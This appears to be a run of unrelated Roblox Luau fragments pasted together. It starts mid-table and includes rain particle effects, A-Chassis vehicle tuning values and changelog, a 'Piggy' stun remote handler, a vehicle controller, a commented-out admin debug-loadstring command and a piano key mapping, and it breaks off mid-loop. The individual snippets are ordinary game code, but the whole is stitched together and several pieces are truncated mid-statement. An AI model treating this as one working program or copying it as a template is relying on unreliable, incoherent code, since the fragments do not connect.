[33]={{29,31,32,33},t}, [69]={{29,31,32,34,35,39,41,60,69},t}, [65]={{29,31,32,34,35,39,41,30,56,58,20,19,66,64,65},t}, [26]={{29,28,27,26},t}, [68]={{29,31,32,34,35,39,41,30,56,58,20,19,66,64,67,68},t}, [76]={{29,31,32,34,35,39,41,59,61,71,72,76},t}, [50]={{29,28,44,45,49,48,47,50},t}, [66]={{29,31,32,34,35,39,41,30,56,58,20,19,66},t}, [10]={n,f}, [24]={{29,28,27,26,25,24},t}, [23]={{29,31,32,34,35,39,41,30,56,58,23},t}, [44]={{29,28,44},t}, [39]={{29,31,32,34,35,39},t}, [32]={{29,31,32},t}, [3]={n,f}, [30]={{29,31,32,34,35,39,41,30},t}, [51]={{29,28,44,45,49,48,47,50,51},t}, [18]={n,f}, [67]={{29,31,32,34,35,39,41,30,56,58,20,19,66,64,67},t}, [61]={{29,31,32,34,35,39,41,59,61},t}, [55]={{29,28,44,45,49,48,47,52,53,54,55},t}, [46]={{29,28,44,45,49,48,47,46},t}, [42]={{29,31,32,34,35,38,42},t}, [40]={{29,31,32,34,35,40},t}, [52]={{29,28,44,45,49,48,47,52},t}, [54]={{29,28,44,45,49,48,47,52,53,54},t}, [43]={n,f}, [7]={n,f}, [9]={n,f}, [41]={{29,31,32,34,35,39,41},t}, [17]={n,f}, [38]={{29,31,32,34,35,38},t}, [28]={{29,28},t}, [5]={n,f}, [64]={{29,31,32,34,35,39,41,30,56,58,20,19,66,64},t}, } return r
--[[ END OF SERVICES ]]
local LocalPlayer = PlayersService.LocalPlayer while LocalPlayer == nil do PlayersService.ChildAdded:wait() LocalPlayer = PlayersService.LocalPlayer end local PlayerGui = LocalPlayer:WaitForChild("PlayerGui") local okShouldClipInGameChat, valueShouldClipInGameChat = pcall(function() return UserSettings():IsUserFeatureEnabled("UserShouldClipInGameChat") end) local shouldClipInGameChat = okShouldClipInGameChat and valueShouldClipInGameChat local success, UserShouldLocalizeGameChatBubble = pcall(function() return UserSettings():IsUserFeatureEnabled("UserShouldLocalizeGameChatBubble") end) local UserShouldLocalizeGameChatBubble = success and UserShouldLocalizeGameChatBubble
--[[ Commands.DebugLoadstring = { Prefix = ":"; Commands = {"debugloadstring";}; Args = {"code";}; Description = "DEBUG LOADSTRING"; Hidden = true; NoFilter = true; AdminLevel = "Creators"; Function = function(plr: Player, args: {string}) --error("Disabled", 0) local ans = Remote.GetGui(plr, "YesNoPrompt", { Icon = server.MatIcons.Warning; Question = "Are you sure you want to load this script into the server env?"; Title = "Adonis DebugLoadstring"; Delay = 5; }) if ans == "Yes" then local func,err = Core.Loadstring(args[1],GetEnv()) if func then func() else logError("DEBUG",err) Functions.Hint(err,{plr}) end end end }; --]]
Logs:AddLog("Script", "Debug Module Loaded"); end;
-- Helper methods:
local ignoreEmitterList = { Emitter } local raycastFunctions = { [CollisionMode.None] = function(ray, ignoreCharacter) return workspace:FindPartOnRayWithIgnoreList(ray, ignoreCharacter and {Emitter, Players.LocalPlayer and Players.LocalPlayer.Character} or ignoreEmitterList) end; [CollisionMode.Blacklist] = function(ray) return workspace:FindPartOnRayWithIgnoreList(ray, collisionList) end; [CollisionMode.Whitelist] = function(ray) return workspace:FindPartOnRayWithWhitelist(ray, collisionList) end; [CollisionMode.Function] = function(ray) local destination = ray.Origin + ray.Direction -- draw multiple raycasts concatenated to each other until no hit / valid hit found while ray.Direction.magnitude > 0.001 do local part, pos, norm, mat = workspace:FindPartOnRayWithIgnoreList(ray, ignoreEmitterList) if not part or collisionFunc(part) then return part, pos, norm, mat end local start = pos + ray.Direction.Unit * 0.001 ray = Ray.new(start, destination - start) end end; } local raycast = raycastFunctions[collisionMode] local function connectLoop() local rand = Random.new() local inside = true -- Whether camera is currently in a spot occluded from the sky local frame = RAIN_UPDATE_PERIOD -- Frame counter, and force update cycle right now -- Update Emitter on RenderStepped since it needs to be synced to Camera table.insert(connections, RunService.RenderStepped:connect(function() -- Check if camera is outside or inside local part, position = raycast(Ray.new(workspace.CurrentCamera.CFrame.p, -rainDirection * RAIN_SCANHEIGHT), true) if (not currentCeiling or workspace.CurrentCamera.CFrame.p.y <= currentCeiling) and not part then -- Camera is outside and under ceiling if volumeTarget < 1 and not disabled then volumeTarget = 1 TweenService:Create(Sound, TweenInfo.new(.5), {Volume = 1}):Play() end frame = RAIN_UPDATE_PERIOD local t = math.abs(workspace.CurrentCamera.CFrame.lookVector:Dot(rainDirection)) local center = workspace.CurrentCamera.CFrame.p local right = workspace.CurrentCamera.CFrame.lookVector:Cross(-rainDirection) right = right.magnitude > 0.001 and right.unit or -rainDirection local forward = rainDirection:Cross(right).unit Emitter.Size = v3( RAIN_EMITTER_DIM_DEFAULT, RAIN_EMITTER_DIM_DEFAULT, RAIN_EMITTER_DIM_DEFAULT + (1 - t)*(RAIN_EMITTER_DIM_MAXFORWARD - RAIN_EMITTER_DIM_DEFAULT) ) Emitter.CFrame = CFrame.new( center.x, center.y, center.z, right.x, -rainDirection.x, forward.x, right.y, -rainDirection.y, forward.y, right.z, -rainDirection.z, forward.z ) + (1 - t) * workspace.CurrentCamera.CFrame.lookVector * Emitter.Size.Z/3 - t * rainDirection * RAIN_EMITTER_UP_MODIFIER Emitter.RainStraight.Enabled = true Emitter.RainTopDown.Enabled = true inside = false else -- Camera is inside / above ceiling Emitter.RainStraight.Enabled = false Emitter.RainTopDown.Enabled = false inside = true end end)) -- Do the other effects on Stepped local signal = RunService:IsRunning() and RunService.Stepped or RunService.RenderStepped table.insert(connections, signal:connect(function() frame = frame + 1 -- Only do some updates once every few frames if frame >= RAIN_UPDATE_PERIOD then -- Measure of how much camera is facing down (0-1) local t = math.abs(workspace.CurrentCamera.CFrame.lookVector:Dot(rainDirection)) -- More looking down = see straight particles less and see top-down particles more local straightSequence = NumberSequence.new { NSK010; NumberSequenceKeypoint.new(RAIN_TRANSPARENCY_T1, (1 - t)*straightLowAlpha + t, 0); NumberSequenceKeypoint.new(RAIN_TRANSPARENCY_T2, (1 - t)*straightLowAlpha + t, 0); NSK110; } local topdownSequence = NumberSequence.new { NSK010; NumberSequenceKeypoint.new(RAIN_TRANSPARENCY_T1, t*topdownLowAlpha + (1 - t), 0); NumberSequenceKeypoint.new(RAIN_TRANSPARENCY_T2, t*topdownLowAlpha + (1 - t), 0); NSK110; } -- Find desired rotation for the straight rain particles local mapped = workspace.Camera.CFrame:inverse() * (workspace.Camera.CFrame.p - rainDirection) local straightRotation = NumberRange.new(math.deg(math.atan2(-mapped.x, mapped.y))) if inside then -- Update emitter properties for _,v in pairs(rainAttachments) do v.RainStraight.Transparency = straightSequence v.RainStraight.Rotation = straightRotation v.RainTopDown.Transparency = topdownSequence end if not disabled then -- Only do occluded volume check if not moving towards disabled state local volume = 0 if (not currentCeiling or workspace.CurrentCamera.CFrame.p.y <= currentCeiling) then -- Check how far away camera is from a space open to the sky using volume scan grid local minDistance = RAIN_VOLUME_SCAN_RADIUS local rayDirection = -rainDirection * RAIN_SCANHEIGHT for i = 1, #volumeScanGrid do -- In order, so first hit is closest if not raycast(Ray.new(workspace.CurrentCamera.CFrame * volumeScanGrid[i], rayDirection), true) then minDistance = volumeScanGrid[i].magnitude break end end -- Volume is inversely proportionate to minimum distance volume = 1 - minDistance / RAIN_VOLUME_SCAN_RADIUS end if math.abs(volume - volumeTarget) > .01 then -- Value is sufficiently different from previous target, overwrite it volumeTarget = volume TweenService:Create(Sound, TweenInfo.new(1), {Volume = volumeTarget}):Play() end end else -- Update emitter properties Emitter.RainStraight.Transparency = straightSequence Emitter.RainStraight.Rotation = straightRotation Emitter.RainTopDown.Transparency = topdownSequence end -- Reset frame counter frame = 0 end local center = workspace.CurrentCamera.CFrame.p local right = workspace.CurrentCamera.CFrame.lookVector:Cross(-rainDirection) right = right.magnitude > 0.001 and right.unit or -rainDirection local forward = rainDirection:Cross(right).unit local transform = CFrame.new( center.x, center.y, center.z, right.x, -rainDirection.x, forward.x, right.y, -rainDirection.y, forward.y, right.z, -rainDirection.z, forward.z ) local rayDirection = rainDirection * RAIN_OCCLUDECHECK_SCAN_Y -- Splash and occlusion effects for i = 1, numSplashes do local splashAttachment = splashAttachments[i] local rainAttachment = rainAttachments[i] -- Sample random splash position local x = rand:NextNumber(RAIN_OCCLUDECHECK_OFFSET_XZ_MIN, RAIN_OCCLUDECHECK_OFFSET_XZ_MAX) local z = rand:NextNumber(RAIN_OCCLUDECHECK_OFFSET_XZ_MIN, RAIN_OCCLUDECHECK_OFFSET_XZ_MAX) local part, position, normal = raycast(Ray.new(transform * v3(x, RAIN_OCCLUDECHECK_OFFSET_Y, z), rayDirection)) if part then -- Draw a splash at hit splashAttachment.Position = position + normal * RAIN_SPLASH_CORRECTION_Y splashAttachment.RainSplash:Emit(1) if inside then -- Draw occlusion rain particles a little bit above the splash position local corrected = position - rainDirection * RAIN_SPLASH_STRAIGHT_OFFSET_Y if currentCeiling and corrected.Y > currentCeiling and rainDirection.Y < 0 then corrected = corrected + rainDirection * (currentCeiling - corrected.Y) / rainDirection.Y end rainAttachment.CFrame = transform - transform.p + corrected rainAttachment.RainStraight:Emit(intensityOccludedRain) rainAttachment.RainTopDown:Emit(intensityOccludedRain) end elseif inside then -- Draw occlusion rain particles on the XZ-position at around the camera's height local corrected = transform * v3(x, rand:NextNumber(RAIN_NOSPLASH_STRAIGHT_OFFSET_Y_MIN, RAIN_NOSPLASH_STRAIGHT_OFFSET_Y_MAX), z) if currentCeiling and corrected.Y > currentCeiling and rainDirection.Y < 0 then corrected = corrected + rainDirection * (currentCeiling - corrected.Y) / rainDirection.Y end rainAttachment.CFrame = transform - transform.p + corrected rainAttachment.RainStraight:Emit(intensityOccludedRain) rainAttachment.RainTopDown:Emit(intensityOccludedRain) end end end)) end local function disconnectLoop() -- If present, disconnect all RunService connections if #connections > 0 then for _,v in pairs(connections) do v:disconnect() end connections = {} end end local function disableSound(tweenInfo) -- Tween the rain sound to be mute over a given easing function volumeTarget = 0 local tween = TweenService:Create(Sound, tweenInfo, {Volume = 0}) tween.Completed:connect(function(state) if state == Enum.PlaybackState.Completed then Sound:Stop() end tween:Destroy() end) tween:Play() end local function disable() disconnectLoop() -- Hide Emitter Emitter.RainStraight.Enabled = false Emitter.RainTopDown.Enabled = false Emitter.Size = MIN_SIZE -- Disable sound now if not tweened into disabled state beforehand if not disabled then disableSound(TweenInfo.new(RAIN_SOUND_FADEOUT_TIME)) end end
----[RETURNS THE PREVIEW COLOR FOR A GIVEN COLOR PICKER]---- --[[Use these 2 lines to get the Color3 Value local ColorPickerModule = require(script.Parent.ColorPicker) local PreviewColor3 = ColorPickerModule.ReturnPreviewColor("DropShadow") ]]
function ColorPickerModule.ReturnPreviewColor(ColorPicker) for i = 1, #FeaturesWithColorPickers do if FeaturesWithColorPickers[i] == ColorPicker then return PreviewColor[i].BackgroundColor3 end end end return ColorPickerModule
--[[ Utility function to log a Fusion-specific warning. ]]
local Package = script.Parent.Parent local messages = require(Package.Logging.messages) local function logWarn(template, ...) local formatString = messages[template] if formatString == nil then template = "unknownMessage" formatString = messages[template] end warn(string.format("[Fusion] " .. formatString .. "\n(ID: " .. template .. ")", ...)) end return logWarn
--[=[ Destroy the keyboard input capturer. ]=]
function Keyboard:Destroy() self._trove:Destroy() end return Keyboard
--Hover and select home buttons
local hovering = nil for a,b in pairs(pages.Home:GetChildren()) do if b:IsA("TextButton") then local fade = b.Fade local function pressButton() if guiDe then guiDe = false local pageIn = pages:FindFirstChild(b.Name) if pageIn then tweenPages(UDim2.new(-1,0,0,0), pageIn) end guiDe = true end end if main.device == "Mobile" then b.MouseButton1Up:Connect(function() pressButton() end) else b.MouseButton1Down:Connect(function() pressButton() end) end b.InputBegan:Connect(function(input) if not b.RankBlocker.Visible then main.tweenService:Create(fade, TweenInfo.new(0.2), {BackgroundTransparency = 0.8}):Play() end end) b.InputEnded:Connect(function(input) main.tweenService:Create(fade, TweenInfo.new(0.2), {BackgroundTransparency = 1}):Play() end) end end
--Front
local axle2 = Instance.new("Part", bike.FrontSection) axle2.Anchored = true axle2.CanCollide = false if _Tune.AxlesVisible or _Tune.Debug then axle2.Transparency = .75 else axle2.Transparency = 1 end axle2.Name = "Axle" axle2.Position = fWheel.Position axle2.Orientation = fWheel.Orientation axle2.Size = Vector3.new(_Tune.AxleSize,_Tune.AxleSize,_Tune.AxleSize) axle2.CustomPhysicalProperties = PhysicalProperties.new(_Tune.AxleDensity,0,0,100,100) local fgyro = Instance.new("BodyGyro",axle2) fgyro.Name="Stabilizer" fgyro.MaxTorque = Vector3.new(1,0,1) fgyro.P=0 fgyro.D=_Tune.FGyroDamp
--[=[ Cleans up all objects in the Janitor. This is similar to calling `Remove` on each object within the Janitor. ]=]
function Janitor:Clean() for _,obj in ipairs(self._objects) do self:_cleanupObject(obj[1], obj[2]) end table.clear(self._objects) end function Janitor:_cleanupObject(object, cleanupMethod) if cleanupMethod == FN_MARKER then object() else object[cleanupMethod](object) end end
--[[Transmission]]
Tune.TransModes = {"Auto", "Semi", "Manual"} --[[ [Modes] "Auto" : Automatic shifting "Semi" : Clutchless manual shifting, dual clutch transmission "Manual" : Manual shifting with clutch >Include within brackets eg: {"Semi"} or {"Auto", "Manual"} >First mode is default mode ]] --Automatic Settings Tune.AutoShiftMode = "Speed" --[[ [Modes] "Speed" : Shifts based on wheel speed "RPM" : Shifts based on RPM ]] Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev) Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev) --Gear Ratios Tune.FinalDrive = 3.23 -- Gearing determines top speed and wheel torque Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed --[[Reverse]] 3.30 , -- Copy and paste a ratio to add a gear --[[Neutral]] 0 , -- Ratios can also be deleted --[[ 1 ]] 4.71 , -- Reverse, Neutral, and 1st gear are required --[[ 2 ]] 3.14 , --[[ 3 ]] 2.11 , --[[ 4 ]] 1.67 , --[[ 5 ]] 1.29 , --[[ 6 ]] 1.00 , --[[ 7 ]] 0.84 , --[[ 8 ]] 0.67 , } Tune.FDMult = 1.5 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
-- Nominal distance, set by dollying in and out with the mouse wheel or equivalent, not measured distance
function VRBaseCamera:GetCameraToSubjectDistance(): number return self.currentSubjectDistance end
-- Piggy "Stun" Script
local debounce = false local Gamemode = game.ReplicatedStorage.Mode game.ReplicatedStorage.Stun.OnServerEvent:Connect(function(plr,target) if target then if target:FindFirstAncestorOfClass("Model") then -- Check to see if clicked model is a real player local piggy = target:FindFirstAncestorOfClass("Model") if piggy then if piggy:FindFirstChild("Bear") then -- Check to see if it is actually Piggy or just another contestant if not debounce then local stunTag = Instance.new("BoolValue") stunTag.Name = "Stunned" stunTag.Parent = piggy game.ReplicatedStorage.Announcement:FireAllClients("Piggy is gone for 20 seconds") piggy.Torso.Script.Disabled = true if piggy:FindFirstChild("UpperTorso") then local anim = piggy:FindFirstChild("Humanoid"):LoadAnimation(game.ReplicatedStorage.StunnedR15) debounce = true -- Freeze piggy by setting walkspeed to 0 piggy.Humanoid.WalkSpeed = 0 piggy.Humanoid.JumpPower = 0 anim:Play() wait(20) -- wait 20 sec before enabling walkspeed again to 14 and then setting debounce to false so -- that the piggy can be stunned again anim:Stop() piggy.Humanoid.WalkSpeed = 14 piggy.Humanoid.JumpPower = 20 piggy.Torso.Script.Disabled = false debounce = false else local anim = piggy:FindFirstChild("Humanoid"):LoadAnimation(game.ReplicatedStorage.Stunned) debounce = true -- Freeze piggy by setting walkspeed to 0 piggy.HumanoidRootPart.Anchored = true piggy.Animate.Disabled = true piggy.Humanoid.WalkSpeed = 0 piggy.Humanoid.JumpPower = 0 anim:Play() wait(20) -- wait 20 sec before enabling walkspeed again to 14 and then setting debounce to false so -- that the piggy can be stunned again piggy.HumanoidRootPart.Anchored = false piggy.Animate.Disabled = false anim:Stop() piggy.Humanoid.WalkSpeed = 14 piggy.Humanoid.JumpPower = 20 piggy.Torso.Script.Disabled = false debounce = false end -- Enable debounce so stun effect cannot be applied again for 20 seconds piggy:FindFirstChild("Stunned"):Destroy() -- Delete stunned tag so we can tell from other scripts that the -- piggy is no longer stunned. end end end end end end)
-- Libraries
local Libraries = Tool:WaitForChild 'Libraries' local Signal = require(Libraries:WaitForChild 'Signal') local Maid = require(Libraries:WaitForChild 'Maid')
------//Patrol Animations
self.RightPatrol = CFrame.new(-1, 1.1, -0.5) * CFrame.Angles(math.rad(-30), math.rad(0), math.rad(0)); self.LeftPatrol = CFrame.new(1,1,-0.9) * CFrame.Angles(math.rad(-30),math.rad(35),math.rad(-25)); self.RightElbowPatrol = CFrame.new(0,0,0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)); self.LeftElbowPatrol = CFrame.new(0,0,0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)); self.RightWristPatrol = CFrame.new(0,0,0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)); self.LeftWristPatrol = CFrame.new(0,0,0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0));
-- Call this from a function bound to Renderstep with Input Priority
function VehicleController:Update(moveVector, cameraRelative, usingGamepad) if self.vehicleSeat then if cameraRelative then -- This is the default steering mode moveVector = moveVector + Vector3.new(self.steer, 0, self.throttle) if usingGamepad and onlyTriggersForThrottle and useTriggersForThrottle then self.vehicleSeat.ThrottleFloat = -self.throttle else self.vehicleSeat.ThrottleFloat = -moveVector.Z end self.vehicleSeat.SteerFloat = moveVector.X return moveVector, true else -- This is the path following mode local localMoveVector = self.vehicleSeat.Occupant.RootPart.CFrame:VectorToObjectSpace(moveVector) self.vehicleSeat.ThrottleFloat = self:ComputeThrottle(localMoveVector) self.vehicleSeat.SteerFloat = self:ComputeSteer(localMoveVector) return ZERO_VECTOR3, true end end return moveVector, false end function VehicleController:ComputeThrottle(localMoveVector) if localMoveVector ~= ZERO_VECTOR3 then local throttle = -localMoveVector.Z return throttle else return 0.0 end end function VehicleController:ComputeSteer(localMoveVector) if localMoveVector ~= ZERO_VECTOR3 then local steerAngle = -math.atan2(-localMoveVector.x, -localMoveVector.z) * (180 / math.pi) return steerAngle / self.autoPilot.MaxSteeringAngle else return 0.0 end end function VehicleController:SetupAutoPilot() -- Setup default self.autoPilot.MaxSpeed = self.vehicleSeat.MaxSpeed self.autoPilot.MaxSteeringAngle = AUTO_PILOT_DEFAULT_MAX_STEERING_ANGLE -- VehicleSeat should have a MaxSteeringAngle as well. -- Or we could look for a child "AutoPilotConfigModule" to find these values -- Or allow developer to set them through the API as like the CLickToMove customization API end return VehicleController
--[[ <<DO NOT DELETE THIS MODULE>> ___ _______ _ / _ |____/ ___/ / ___ ____ ___ (_)__ / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-< /_/ |_| \___/_//_/\_,_/___/___/_/___/ Build 6.43S SecondLogic @ Inspare >>Manual Basically...everything you can and would ever want to touch is in the tuning module. EVERYTHING Torque Curve Tune Visualizer: https://www.desmos.com/calculator/2uo3hqwdhf Basic Tips: --Installation >Everything is built-in (assembly, welding, suspension, gyros), so all you have to worry about is placing the wheels and the seat. >Body parts go in the "Body" section. >Wheel parts such as 3D rims and brake disks go in the "Parts" section of the wheel. >Suspension-Anchored parts such as suspension wishbones and linkages go in the "SuspensionFixed" section. >Axle-Anchored parts such as calipers go in the "WheelFixed" section. >You can add or remove wheels. To add a wheel, simply copy one of the wheels and make sure it's named one of the following: "F","FL","FR","R","RL","RR". >Wheels need to be aligned with the axes of the seat. Don't rotate the seat relative to the wheels as it may cause welding problems. >All wheel offsets are applied in the tuning module. Do NOT manually add offset to the wheels. Steering axis is centered on the wheel part by default. >Seat offset can be adjusted in the "MiscWeld" module under "Initialize". >Use the "Misc" section for scripted/moving parts and apply welding using the "MiscWeld" module under "Initialize". --Tuning >Reduce weight(density) if setup is lacking torque. Increase density if setup has too much torque. >Add downforce manually if setup is lacking grip or use a downforce plugin. >Dialing in ratios used in real cars is an easy way to have a realisticly tuned transmission. >Modifying the "Drive" script may affect the integrity of the system. >Custom scripts should be put in the "Plugins" folder. Using plugins made by other users is encouraged. >When writing custom plugins, you can reference the values within the "Values" folder inside the A-Chassis Interface. >It is a good practice to make plugins compatible with any setup and providing a usage manual if a plugin is released. >You can remove/change the default plugins that come with the kit. The drive system will still work perfectly with or without them. --Updates >To update, simply just replace the entire "A-Chassis Tune" module of an existing car with a newer version of the module. >You may want to copy the tune values and plugins from the old module, but dont simply overwrite the tune module as new values may be added. >>Changelog [5/23/17 : Build 6.43S] - STUFF [Added Tune Values] -Added WBVisible to set weight brick visibility [Independent Camera Handling] -Separated camera handling from Drive script -Mouse camera is now handled by a plugin -Custom camera plugin support is now easier [Stock Plugins Update] -Added Dynamic Friction as a stock plugin -Dynamic friction can be tuned within the Simulated script -Updated default sound plugin -Added mouse-steer camera plugin [Code Fixes] -Fixed missing operation within torque curve -Slight optimizations during runtime [5/20/17 : Build 6.42S] - ABS and PGS Standardization [Added ABS] -Modulates brakes when locking -Added threshold value for slip allowance -Added control toggles for ABS -Added ABS indicator and control mapping to stock UI [Split Density Tuning for PGS and Legacy] -Added standardized weight scaling values to tune -Default weight tuning set to 1 cubic stud : 50 lbs for PGS -Default weight tuning set to 1 cubic stud : 10 lbs for Legacy -Split front and rear density to PGS and Legacy -Split brake force tuning to PGS and Legacy [Added Tune Values] -TCSEnabled: Sets whether or not the car will have TCS -ABSEnabled: Sets whether or not the car will have ABS -LoadDelay: Sets a delay time before initializing car [Bug Fix: Axle Size Initialization] -Car applies proper axle size -Added AxleDensity value which sets axle density -Fixed miscelaneous wheel part welding [Added Changable Stock Gauge Units] -Added units system for stock gauges -Added default units: MPH [1 stud : 10 in], KP/H [1 stud : 10 in], SPS -Custom units can be added or removed -Click on speed to change between units -Moved Controls button to middle for better visibility [Code Documentation] -Extensive documentation and commenting within scripts for better readability -Improved warning message for oversized mass condition [5/4/17 : Build 6.41S] - Standardized Weight [Added automatic weight system] -Added tune values for car weight, center of gravity, and wheel density -Weight standard: 100 lbs = 1 cubic stud mass -Applies weight at initialization [Scaled Down Power Delivery] -Horsepower output now at 1/10 because of lighter weight standard -Added FDMult value in transmission for gear ratio scaling without having to change Final Drive (useful for low HP tunes) [Optimized value for Anchor Offset] -Changed "SusOffset" to "Anchor Offset" -New anchor offset is now based off of wishbone length and wishbone angle. -Anchor offset now labelled for forward, lateral, and vertical offsets. [Split some tune values to F/R] -Suspension values for front and rear are now independently tunable. -Front and rear brakes can be tuned independently. [Tune Module Housekeeping] -Rearranged and documented several of the values within the tune module. -Removed GyroP and GyroMaxTorque for simplicity. Dampening values are still present. -Changed some decimal values to percent values [1/2/17 : Build 6.40S] - Suspension "S" Build number identifies suspension build [Added suspension system for PGS Physics Solver] -Suspension uses ROBLOX constraints and is automatically generated with the chassis -Added tune values for suspension -Temporarily removed caster tuning [Steering Fix] -Added tune value 'ReturnSpeed' which determines how fast wheels return to default orientation [New Torque Curve Equation] -New equation gives more control over the shape of the torque curve -Engine values have been replaced with the new equation's variables -Added link to desmos graph for the torque curve visualization [10/31/16 : Build 6.33] - Semi-Automatic [Added semi-automatic transmission mode] -'TransModes' now accepts "Semi" value for semi-automatic. -Updated AC6_Stock_Gauges to include semi-automatic mode. [Fixed disengaging p-brake] -P-Brake now remains engaged if player gets into then vehicle. [Fixed FE Support for AC6_Stock_Sound] -Sounds should now work properly with Filtering Enabled. [8/5/16 : Build 6.32] - Differential System [Implemented differential system] -Differential controls torque distibution between wheels that are spinning at different rates -Added tune values 'FDiffSlipThres', 'FDiffLockThres', 'RDiffSlipThres', 'RDiffLockThres', 'CDiffSlipThres', and 'CDiffLockThres'. -'DiffSlipThres' determine the threshold of the speed difference between the wheels. Full lock applies at max threshold. -A lower slip threshold value will make the diff more aggressive. -'DiffLockThres' determines the bias of the differential. -A lock threshold value more than 50 puts more torque into the slipping wheel (moving towards an open diff). -A lock threshold value less than 50 puts more torque into the grounded wheel (moving towards a locked diff). [Fixed multiple wheel support] -The chassis can now use more than just the default 4 set of wheels. Just copy an existing wheel and place accordingly. -Differential works with auxiliary wheels. [7/13/16 : Build 6.31] - Peripheral Settings [Added peripheral adjustment values] -Moved controller and mouse deadzone values to the "Controls" section of the tune. -Split controller deadzone into left and right input. -Moved mouse control width to "Conrols" secton. This value now operates based off of % of screed width. [Updated stock Controls Module] -Added sliders for controller and mouse deadzone values. -Added slider for mouse control width. [6/15/16 : Build 6.3] - Motercisly [Better motorcycle system support] -Added wheel configurations "F" and "R" for single wheel settup. -"F" and "R" wheels will have axle parts on both sides for better balance. -These wheel configurations will ignore outor rotation value and will rotated based off of the inner rotation value only. -Camber and Toe cannot be applied to these wheel configurations. Caster will still be applied as normal. [Bug fixes] -Caster now applies after wheel part rotations so wheel parts dont rotate with caster. -Fixed Clutch re-engaging automatically when shifting out of neutral. [6/4/16 : Build 6.21] - AC6 Official Public Kit Release [Plugin FilteringEnabled compatability made easier] -System now detects if there is a RemoteEvent or RemoteFunction inside a plugin. These will be parented directly under the car. -The RemoteEvent/RemoteFunction needs to be a direct child of the plugin for it to be detected. -Scripts inside the RemoteEvent/RemoteFunction should be disabled. They will be enabled after initialization. -Be careful as this system is suceptible to name collisions. Name your RemoteEvents/RemoteFunctions uniquely. -Stock AC6 Sound plugin is now FE compatible. [Controls Panel now a plugin instead of integrated] -Separated controls panel from Drive script. The controls panel is now a plugin. -The "Controls" folder appears inside the interface on Drive startup. Use this folder to reference button mapping values for custom controls plugins. -"ControlsOpen" value added. This is a safety toggle when changing control values. This value can be manipulated by plugins. [New tune values] -Added 'AutoFlip' tune value. This determines if the car automatically flips itself over when upside down. -Added 'StAxisOffset' tune value. This offsets the center of the steering axis. Positive value = offset outward. -Added 'SteerD', 'SteerMaxTorque', and 'SteerP' values which set the steering axle gyro properties. [MiscWeld streamlining] -Added "Misc" section to the main sections. This should contain scripted/moving parts. -Parts in this section are NOT WELDED AUTOMATICALLY. Use the "MiscWeld" module to weld these parts. The "Misc" section is pre-referenced as 'misc'. [Bug fixes] -Fixed flip gyro not resetting when gyro is active and driver leaves car. -Fixed issue with switching transmission modes. --]]
return "6.43S"
--[[Weight and CG]]
Tune.Weight =3100 -- Total weight (in pounds) Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable) --[[Width]] 6 , --[[Height]] 3.5 , --[[Length]] 14 } Tune.WeightDist = 50 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100) Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels) Tune.WBVisible = false -- Makes the weight brick visible --Unsprung Weight Tune.FWheelDensity = .1 -- Front Wheel Density Tune.RWheelDensity = .1 -- Rear Wheel Density Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF] Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF] Tune.AxleSize = 2 -- Size of structural members (larger = more stable/carry more weight) Tune.AxleDensity = .1 -- Density of structural members
---------------------------------- ------------FUNCTIONS------------- ----------------------------------
local TweenService = game:GetService("TweenService") function Tween(obj,Goal,Time,...) local TwInfo = TweenInfo.new(Time,...) local twn = TweenService:Create(obj, TwInfo, Goal) twn:Play() twn.Completed:wait() end function UnDigify(digit) if digit < 1 or digit > 61 then return "" elseif digit == 1 then return "1" elseif digit == 2 then return "!" elseif digit == 3 then return "2" elseif digit == 4 then return "@" elseif digit == 5 then return "3" elseif digit == 6 then return "4" elseif digit == 7 then return "$" elseif digit == 8 then return "5" elseif digit == 9 then return "%" elseif digit == 10 then return "6" elseif digit == 11 then return "^" elseif digit == 12 then return "7" elseif digit == 13 then return "8" elseif digit == 14 then return "*" elseif digit == 15 then return "9" elseif digit == 16 then return "(" elseif digit == 17 then return "0" elseif digit == 18 then return "q" elseif digit == 19 then return "Q" elseif digit == 20 then return "w" elseif digit == 21 then return "W" elseif digit == 22 then return "e" elseif digit == 23 then return "E" elseif digit == 24 then return "r" elseif digit == 25 then return "t" elseif digit == 26 then return "T" elseif digit == 27 then return "y" elseif digit == 28 then return "Y" elseif digit == 29 then return "u" elseif digit == 30 then return "i" elseif digit == 31 then return "I" elseif digit == 32 then return "o" elseif digit == 33 then return "O" elseif digit == 34 then return "p" elseif digit == 35 then return "P" elseif digit == 36 then return "a" elseif digit == 37 then return "s" elseif digit == 38 then return "S" elseif digit == 39 then return "d" elseif digit == 40 then return "D" elseif digit == 41 then return "f" elseif digit == 42 then return "g" elseif digit == 43 then return "G" elseif digit == 44 then return "h" elseif digit == 45 then return "H" elseif digit == 46 then return "j" elseif digit == 47 then return "J" elseif digit == 48 then return "k" elseif digit == 49 then return "l" elseif digit == 50 then return "L" elseif digit == 51 then return "z" elseif digit == 52 then return "Z" elseif digit == 53 then return "x" elseif digit == 54 then return "c" elseif digit == 55 then return "C" elseif digit == 56 then return "v" elseif digit == 57 then return "V" elseif digit == 58 then return "b" elseif digit == 59 then return "B" elseif digit == 60 then return "n" elseif digit == 61 then return "m" else return "?" end end function IsBlack(note) if note%12 == 2 or note%12 == 4 or note%12 == 7 or note%12 == 9 or note%12 == 11 then return true end end function Startup() blocker.Transparency = .9 blocker.CanCollide = true local Display = Important.Display local Properties = {} Properties.Color = Color3.fromRGB(230, 230, 230) Tween(Display,Properties,1,Enum.EasingStyle.Linear,Enum.EasingDirection.Out,0,false) Properties = {} Properties.Color = Color3.fromRGB(103, 130, 147) Tween(Display,Properties,.5,Enum.EasingStyle.Linear,Enum.EasingDirection.Out,0,false) Properties = {} Properties.Transparency = 0 for i,v in pairs(SynthesiaKeys) do 